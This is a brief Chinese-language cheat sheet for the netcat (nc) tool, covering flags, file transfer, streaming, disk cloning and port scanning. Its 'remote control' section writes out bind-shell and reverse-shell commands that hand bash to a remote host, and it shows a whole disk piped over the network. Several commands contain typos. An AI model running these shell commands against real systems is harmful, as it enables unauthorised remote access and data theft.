Linux 小工具 NC 笔记
nc: 传说中是网络工具中的瑞士军刀,其体积小,但功能多,命令行工具
如下为参数说明:
- -n: 后边跟IP地址,若是域名不会进行dns解析
- -v: 显示详细信息,使用两次更详细
- -l: 监听模式
- -p port: 指定端口
- -q secs: 当命令执行完成后,等待 secs 秒退出
- -z: 无I/O模式,扫描时用
- -u: udp模式
- -c shell commands: 使用shell执行 命令(bash 打开bash命令,即可不断执行命令, Win下为cmd)
- -e filename: 运行指定程序
- -h: 显示帮助信息
例子:
侦听模式/传输模式
nc -lp 4444: 用作服务端,监听4444端口(通过这个命令可以使其他主机telnet, 实现两台主机通信)
telnet/获取banner信息
nc -nv 1.1.1.1 80– telnet 目标ip的80端口
传输文本信息
一端侦听,一端telnet即可
传输文件/目录
文件:
A: nc -lp 333 > 1.mp4
B: nc -nv 192.168.60.152 333 < 1.mpr -q 1
目录:
A: tar -cvf -music/ | nc -lp 333 -q 1
B: nc -nv 192.168.60.152 | tar -xvf –
远程控制
正向:
A(被控端): nc -lp 333 -c bash
B: nc -nv 1.1.1.1 333
反向:
A:nc -lp 333
B(被控端):nc -nv 1.1.1.1 333 -c bash
流媒体服务器
A: cat 1.mp4 | nc -lp 333
B: nc -nv 192.168.60.130 333 | mplayer -vo xll -cache 3000 –
远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -1 1
端口扫描
nc -nvz 1.1.1.1 1-65535扫描指定IP的指定端口段
nc –vnzu 1.1.1.1 1-1024udp扫描
